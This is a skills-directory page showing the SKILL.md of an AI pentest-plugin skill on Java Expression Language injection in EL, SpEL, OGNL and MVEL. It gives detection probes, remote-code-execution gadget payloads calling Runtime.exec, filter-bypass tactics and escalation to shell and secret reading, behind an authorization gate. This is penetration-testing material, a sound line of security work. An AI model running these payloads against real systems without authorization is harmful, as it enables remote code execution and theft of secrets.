Back to skills
SKILL.md
El Injection
ASecurityExpression Language injection — Java EL/JSP-EL, Spring SpEL, Struts/OGNL, and MVEL. Detection, context-specific gadget chains to RCE, sandbox/filter bypass, and notable framework CVEs (OGNL/Struts, SpEL). Tier 1 (RCE honors the authorization gate). Payloads: payloads/ssti.md. Use for Java apps reflecting input into EL/OGNL/SpEL contexts.
- 16 stars
- 0 votes
- 0 copies
- 3 views
- Added November 17, 2026
Works with
Security analysis
100/100npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill el-injection --agent claude-codeAre you the author of El Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-el-injection)---
name: el-injection
description: "Expression Language injection — Java EL/JSP-EL, Spring SpEL, Struts/OGNL, and MVEL. Detection, context-specific gadget chains to RCE, sandbox/filter bypass, and notable framework CVEs (OGNL/Struts, SpEL). Tier 1 (RCE honors the authorization gate). Payloads: payloads/ssti.md. Use for Java apps reflecting input into EL/OGNL/SpEL contexts."
---
# Expression Language Injection (EL / SpEL / OGNL / MVEL)
Java expression languages evaluate attacker input into method calls — frequently RCE. Fingerprint the flavor, then use its gadget.
## Trigger phrases
`el injection, spel injection, ognl injection, struts, mvel, expression language rce`
## Method
1. **Detect:** `${7*7}`, `#{7*7}`, `%{7*7}` (Struts/OGNL), `T(...)` (SpEL) → `49`.
2. **Gadgets (${CLAUDE_PLUGIN_ROOT}/payloads/ssti.md):**
- **SpEL:** `T(java.lang.Runtime).getRuntime().exec('id')`; `new ProcessBuilder(...)`.
- **OGNL/Struts:** `%{(#a=@java.lang.Runtime@getRuntime()).exec('id')...}` — classic Struts RCE chains (S2-*); also known CVEs.
- **MVEL/JUEL:** reflective Runtime calls.
3. **Bypass:** reflection to dodge keyword filters, context-variable gadgets (`#request`, `#context`), string building.
4. **Modern:** Spring-ecosystem SpEL sinks (e.g. recent Spring/Spring-AI SpEL RCE classes — verify version → `vulnerable-components`).
## Escalation
RCE → shell/secret read; honor Tier gate for intrusive exploitation on production.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The `49` proof, the gadget, engine/framework + version, and benign command output (gated).
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.